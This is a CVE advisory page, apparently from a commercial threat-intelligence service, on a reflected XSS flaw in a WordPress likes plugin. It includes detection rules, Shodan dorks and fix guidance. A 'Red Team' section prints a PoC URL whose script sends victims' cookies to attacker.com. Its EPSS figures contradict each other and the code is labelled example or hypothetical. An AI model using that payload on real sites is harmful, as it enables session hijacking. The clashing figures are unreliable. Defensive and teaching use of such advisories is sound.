☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-8713

CVE-2024-8713 Cross-Site Scripting in Kodex
📅 PUBLISHED: 2024-09-25 02:05 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.34%
👁️
1.34% probability
33.6× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1204.001
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-8713 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Kodex Posts likes WordPress plugin, affecting all versions up to and including 2.5.0. The flaw arises from the insecure use of add_query_arg without proper output escaping when constructing URLs. An unauthenticated attacker can inject arbitrary web scripts that execute in the context of a victim’s browser if the victim clicks a crafted link. The vulnerability has a CVSS score of 6.1 (Medium) and an EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The plugin’s failure to escape URL parameters allows reflected XSS, which is a common issue in WordPress plugins that handle query strings without proper sanitization. The attack vector is social engineering, requiring user interaction (e.g., clicking a malicious link).

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: Required (UI:R)
  • Scope: Changed (S:C)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction but can lead to session hijacking, credential theft, or defacement. The low EPSS score suggests limited active exploitation, but the lack of a patch increases risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability resides in the kodex-posts-likes plugin’s handling of URL parameters. The plugin uses add_query_arg to construct URLs without escaping the output, allowing an attacker to inject malicious JavaScript via a crafted query string. When a victim clicks a link containing the payload, the script executes in the context of the WordPress site, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the user.

Root Cause: The add_query_arg function in WordPress is used to build URLs, but the plugin fails to escape the resulting URL before outputting it in the HTML. This allows an attacker to inject arbitrary HTML/JavaScript via parameters like s or custom query variables.

Attack Flow:

  1. Attacker crafts a malicious URL: https://victim-site.com/?s=<script>alert('XSS')</script>
  2. Victim clicks the link (e.g., via phishing email).
  3. The plugin processes the URL and outputs the unescaped parameter in the page.
  4. The injected script executes in the victim’s browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.5.0):

// Example from kodex-posts-likes.php
$url = add_query_arg( 'like', $post_id, get_permalink() );
echo '<a href="' . $url . '">Like</a>';

The $url is not escaped, allowing injection via $post_id or other parameters.

Patched Code (Hypothetical):

$url = add_query_arg( 'like', $post_id, get_permalink() );
echo '<a href="' . esc_url( $url ) . '">Like</a>';

Using esc_url() ensures the URL is properly sanitized and escaped, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

No public exploit code is available. However, a proof-of-concept can be crafted:

PoC URL:

https://victim-site.com/?s=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>

Lab Setup:

  1. Install WordPress with Kodex Posts likes plugin version 2.5.0.
  2. Create a post with likes enabled.
  3. Send the crafted URL to a victim (simulated via browser).
  4. Observe the script execution.

Blue Team (Detection & Defense)

  • Monitor for unusual query strings containing <script> or onerror attributes.
  • Use Web Application Firewall (WAF) rules to block common XSS payloads.
  • Educate users about phishing links.

Indicators of Compromise (IOCs)

  • URL Patterns: ?s=<script>, ?like=<script>, or any query parameter containing < or > characters.
  • Log Entries: HTTP requests with User-Agent containing script tags or unusual referrers.
  • File Hashes: Plugin files (e.g., kodex-posts-likes.php) with MD5 hash UNKNOWN (no known malicious versions).

Detection Engineering

YARA Rule

rule CVE_2024_8713_WordPress_XSS {
    meta:
        description = "Detects Kodex Posts likes plugin vulnerable to reflected XSS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8713"
    strings:
        $vuln_func = "add_query_arg" nocase
        $plugin_path = "kodex-posts-likes" nocase
    condition:
        $vuln_func and $plugin_path
}

Sigma Rule

title: Reflected XSS via Kodex Posts Likes Plugin
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attempts targeting CVE-2024-8713
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in comments (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8713 Reflected XSS Attempt"; flow:to_server; content:"<script>"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Disable the Kodex Posts likes plugin until a patch is released.
  2. Workaround: Implement a WAF rule to block query strings containing <script> or onerror.
  3. Long-term: Update to a patched version when available (check plugin repository).
  4. Code Fix: Use esc_url() or esc_attr() when outputting URLs built with add_query_arg.

Valters IT
Securing WordPress ecosystems one CVE at a time.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/kodex-posts-likes"
http.html:"kodex_posts_likes"
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-8713/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.